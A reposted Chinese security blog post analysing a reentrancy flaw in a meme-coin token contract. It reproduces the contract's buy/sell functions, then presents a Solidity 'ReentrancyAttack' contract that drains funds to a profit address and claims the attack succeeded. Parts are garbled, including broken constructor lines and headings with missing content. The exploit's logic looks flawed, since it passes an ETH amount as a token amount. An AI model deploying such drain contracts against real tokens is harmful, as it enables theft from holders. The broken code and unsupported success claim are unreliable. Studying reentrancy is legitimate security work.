一只土狗的合约部分漏洞源码
function getAmountOut(uint256 value, bool _buy) public view returns (uint256) {
(uint256 reserveETH, uint256 reserveToken) = getReserves();
if (_buy) {
return (value * reserveToken) / (reserveETH + value);
} else {
return (value * reserveETH) / (reserveToken + value);
}
}
function buy() internal {
require(tradingEnable, 'Trading not enable');
uint256 msgValue = msg.value;
uint256 feeValue = msgValue * 2 / 100;
uint256 swapValue = msgValue - feeValue;
feeReceiver.transfer(feeValue);
uint256 token_amount = (swapValue * _balances[address(this)]) / (address(this).balance);
if (maxWalletEnable) {
require(token_amount + _balances[msg.sender] <= _maxWallet, 'Max wallet exceeded');
}
// uint256 user_amount = (token_amount / 10000) * 9900;
uint256 user_amount = token_amount;
// uint256 burn_amount = token_amount - user_amount;
_transfer(address(this), msg.sender, user_amount);
// _transfer(address(this), address(0), burn_amount);
emit Swap(msg.sender, swapValue, 0, 0, user_amount);
}
function sell(uint256 sell_amount) internal {
require(tradingEnable, 'Trading not enable');
// uint256 swap_amount = (sell_amount / 10000) * 9900;
uint256 swap_amount = sell_amount;
// uint256 burn_amount = sell_amount - swap_amount;
uint256 ethAmount = (swap_amount * address(this).balance) / (_balances[address(this)] + swap_amount);
require(ethAmount > 0, 'Sell amount too low');
require(address(this).balance >= ethAmount, 'Insufficient ETH in reserves');
_transfer(msg.sender, address(this), swap_amount);
// _transfer(msg.sender, address(0), burn_amount);
uint256 feeValue = ethAmount * 2 / 100;
payable(feeReceiver).transfer(feeValue);
payable(msg.sender).transfer(ethAmount - feeValue);
emit Swap(msg.sender, 0, sell_amount, ethAmount - feeValue, 0);
}
receive() external payable {
buy();
}
}
这是其中有关于部分买卖代币的源码
在函数buy()和sell()中都存在潜在的重入攻击漏洞。
在调用外部合约或外部账户时,首先应该执行内部状态变更,然后再调用外部合约或外部账户。
否则,外部合约或外部账户可能会在还未完成内部状态变更时再次调用合约,从而导致意外的结果。
先来看下重入漏洞的说明
再看下重入漏洞的条件
address payable public feeReceiver;
memory name_, string memory symbol_, uint256 totalSupply_) {
_name = name_;
_symbol = symbol_;
_totalSupply = totalSupply_;
_maxWallet = totalSupply_ * 2 / 100;
xxx;打码了 =
feeReceiver = payable(xxx);打码了
owner = receiver;
tradingEnable = false;
maxWalletEnable = true;
(totalSupply_ * 50) / 100; =
uint256 liquidityAmount = totalSupply_ - _balances[receiver];
liquidityAmount; =
liquidityAdded = false;
}
查看以上代码满足了 payable的功能 与上面信息满足了第三个条件,第二条件活跃的合约基本都存在。满足了以上的三个条件后。开始编辑攻击代码
pragma solidity ^0.8.0;
interface xxxxInterface {
function buy() external payable;
function sell(uint256 sell_amount) external;
}
contract ReentrancyAttack {
xxxxInterface public grokContract;
address public attacker;
address payable public profitAddress;
bool private reentrancyAttackExecuted;
constructor(address _grokAddress, address _profitAddress) {
grokContract = xxxxInterface(_grokAddress);
attacker = msg.sender;
profitAddress = payable(_profitAddress);
}
function attack(uint256 amount) external payable {
require(msg.value == amount, "Incorrect amount sent");
grokContract.buy{value: msg.value}();
grokContract.sell(msg.value);
}
receive() external payable {
if (!reentrancyAttackExecuted) {
reentrancyAttackExecuted = true;
grokContract.sell(msg.value);
profitAddress.transfer(address(this).balance);
}
}
function withdraw() external {
require(msg.sender == attacker, "Only attacker can withdraw");
profitAddress.transfer(address(this).balance);
}
}
xxx依旧是打码的标识
攻击成功
该代码中的另外一个问题
function _transfer(address from, address to, uint256 value) internal virtual {
if (to != address(0)) {
require(lastTransaction[msg.sender] != block.number, "You can't make two transactions in the same block");
lastTransaction[msg.sender] = uint32(block.number);
require(block.timestamp >= _lastTxTime[msg.sender] + 60, 'Sender must wait for cooldown');
_lastTxTime[msg.sender] = block.timestamp;
}
在_transfer函数中,使用了block.timestamp来检查交易间隔。然而,这种方式并不是十分安全,因为矿工有可能在一定程度上操纵区块的时间戳。更好的做法是使用区块高度来进行时间间隔的检查。
小结:该代码并没有参考ERC-20标准,在ERC-20标准中,transfer和transferFrom函数应该返回一个布尔值,用来表示转账是否成功。然而在此合约中,transfer函数未按照ERC-20标准的要求来实现。
扫描二维码获取
更多精彩
洛米唯熊
原文始发于微信公众号(洛米唯熊):重入攻击漏洞(Reentrancy Attack)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论